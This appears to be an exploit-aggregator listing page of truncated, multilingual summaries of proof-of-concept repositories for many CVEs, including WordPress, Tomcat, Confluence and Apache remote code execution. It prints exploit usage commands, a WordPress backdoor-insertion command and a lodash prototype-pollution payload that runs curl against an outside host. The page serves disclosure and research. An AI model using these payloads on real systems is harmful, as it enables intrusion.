CVE-2026-0740

CVE-2026-0740 : Ninja Forms - File Upload = 3.3.26 Caricamento Arbitrario di File Non Autenticato. Descrizione : Il plugin Ninja Forms - File Uploads per WordPress è vulnerabile al caricamento arbitrario di file non autenticato a causa della mancanza di validazione del tipo di file e della mancan...

CVE-2021-44827

CVE-2021-44827 Un PoC per CVE-2021-44827 - esecuzione remota di codice autenticata su Tp-link Archer C20i Write-up: https://full-disclosure.eu/reports/2022/CVE-2021-44827-tplink-authenticated-remote-code-execution.html Esempio root@kitploit: $ python exploit.py error0 error0 Run postexploitcmd...

halo-2.25.4-CVE-2026-67919

Authentifizierte Remote-Codeausführung RCE über unvalidierte Plugin-URI-Installation in Halo 2.25.4 1. Zusammenfassung der Schwachstelle Eine kritische Sicherheitslücke wurde in Halo Version 2.25.4 identifiziert. Die Anwendung stellt einen administrativen Endpunkt zur Installation oder...

CVE-2024-28255

OpenMetadataRCE CVE-2024-28255 Scansione/exploit batch 1. Questo strumento è utilizzato solo per test di sicurezza; non sono responsabile per attacchi illegali. 2. Lo strumento è utilizzato solo per test di sicurezza e non sono responsabile per attacchi illegali. 3. Lo strumento è destinato...

CVE-2025-24813-PoC-Apache-Tomcat-RCE

Apache Tomcat CVE-2025-24813 Prova di concetto PoC Un exploit proof-of-concept per la vulnerabilità di deserializzazione di Apache Tomcat CVE-2025-24813. Questo strumento dimostra come gli attaccanti potrebbero sfruttare la deserializzazione insicura nella gestione delle sessioni di Tomcat...

CVE-2022-29464

WSO2 Beliebiger Dateiupload zu Remote-Befehlsausführung RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Beispiel root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

wordpress_cropimage

WordPress Crop-Image CVE-2019-8943 Um script python3 para WordPress Crop-Image CVE-2019-8943 Execução Remota de Código RCE autenticada. Ele insere um backdoor PHP malicioso. Primeiros Passos Executando o programa RCE root@kitploit: python3 wprce.py -t http://wordpress.rce/ -u admin -p password -m...

CVE-2024-9932

CVE-2024-9932 Wux Blog Editor = 3.0.0 - Caricamento arbitrario di file non autenticato Description: Il plugin Wux Blog Editor per WordPress è vulnerabile a caricamenti arbitrari di file a causa di una validazione insufficiente del tipo di file nella funzione 'wuxbtinsertImageNew' nelle versioni...

CVE-2022-26133

CVE-2022-26133 Informationen Beschreibung Der SharedSecretClusterAuthenticator in Atlassian Bitbucket Data Center in den Versionen 5.14.0 bis unter 7.6.14, 7.7.0 bis unter 7.17.6, 7.18.0 bis unter 7.18.4, 7.19.0 bis unter 7.19.4 sowie 7.20.0 ermöglicht es einem entfernten, nicht authentifizierten...

CVE-2026-4800-POC

CVE-2026-4800-POC Advisory di Sicurezza https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc POC root@kitploit: const = require'lodash'; Object.prototype.imports = 'x=process.getBuiltinModule"childprocess".execSync"curl https://example.com"':undefined .template'', ; Flusso...

CVE-2025-54897-LAB

Lab: CVE-2025-54897 - Vulnerabilità di deserializzazione in Microsoft Office SharePoint 🚀 Panoramica Questo lab dimostra una vulnerabilità di deserializzazione in Microsoft Office SharePoint che consente l'esecuzione remota di codice RCE. Il problema deriva dalla gestione impropria di dati...

CVE-2024-22120-RCE-with-gopher

Utilizzo root@kitploit: python exploit.py --ip --sid --hostid --phpsessid --falsetime --truetime Riepilogo Questo exploit è stato creato per sfruttare una XXE XML External Entity. Attraverso di essa, ho letto il codice backend del servizio web e ho trovato un endpoint dove potevo usare gopher per...

CVE-2021-41773

CVE-2021-41773 Apache2 2.4.49 - Exploit LFI e RCE Info root@kitploit: Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution RCE Exploit Author: Gaurav Raj https://gauravraj.xyz https://blog.gauravraj.xyz Vendor Homepage: https://apache.org/ Version: 2.4.49 Tested on:...

CVE-2026-2964-Lab

CVE‑2026‑2964 Lab – Prototype Pollution verso RCE Questo repository contiene un ambiente di laboratorio completo per CVE‑2026‑2964, una vulnerabilità di prototype pollution nella libreria web‑audio‑recorder‑js che può portare all'esecuzione remota di codice in condizioni specifiche. Il laboratori...

CVE-2024-42845-Exploit

CVE-2024-42845: Esecuzione di Codice Remota RCE in Invesalius 3.1 Dettagli dell'Exploit Titolo dell'Exploit : Invesalius 3.1 - Esecuzione di Codice Remota RCE Scoperto da : Alessio Romano sfoffo, Riccardo Degli Esposti partywave Autore dell'Exploit : Alessio Romano sfoffo, Riccardo Degli Esposti...

CVE-2024-27115-Exploit

SOPlanning 1.52.01 - Esecuzione di Codice Remota RCE Autenticato Dettagli dell'Exploit Titolo dell'Exploit : SOPlanning 1.52.01 Strumento di Pianificazione Online Semplice - Esecuzione di Codice Remota RCE Autenticato Data : 6 ottobre 2024 Autore dell'Exploit : Ardayfio Samuel Nii Aryee Versione ...

CVE-2018-20580

CVE-2018-20580 Uma prova de conceito para ReadyAPI 2.5.0/2.6.0 Execução Remota de Código com interações. Introdução Em dezembro de 2018, encontrei uma nova vulnerabilidade no ReadyAPI. Ela permite que um atacante execute um código remoto na máquina local, colocando em perigo os usuários do...

CVE-2021-26084_PoC

CVE-2021-26084PoC CVE-2021-26084 Script di test RCE pre-auth di Confluence Uso: py...

CVE-2026-21509-handler

CVE-2026-21509 Office Kill-Bit Manager Script PowerShell per verificare, applicare e testare la protezione Kill-Bit per la vulnerabilità zero-day CVE-2026-21509 di Microsoft Office che interessa Office 2016/2019/LTSC. Cos'è CVE-2026-21509? Vulnerabilità RCE critica nella gestione OLE/COM di...

CVE-2023-26035

CVE-2023-26035 ZoneMinder Snapshots - Non autenticato Installazione Scarica la repo root@kitploit: $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git Configurazione Nota: installa l'ultima versione di node root@kitploit: $ npm init $ npm i axios cheerio yargs Utilizzo root@kitploit...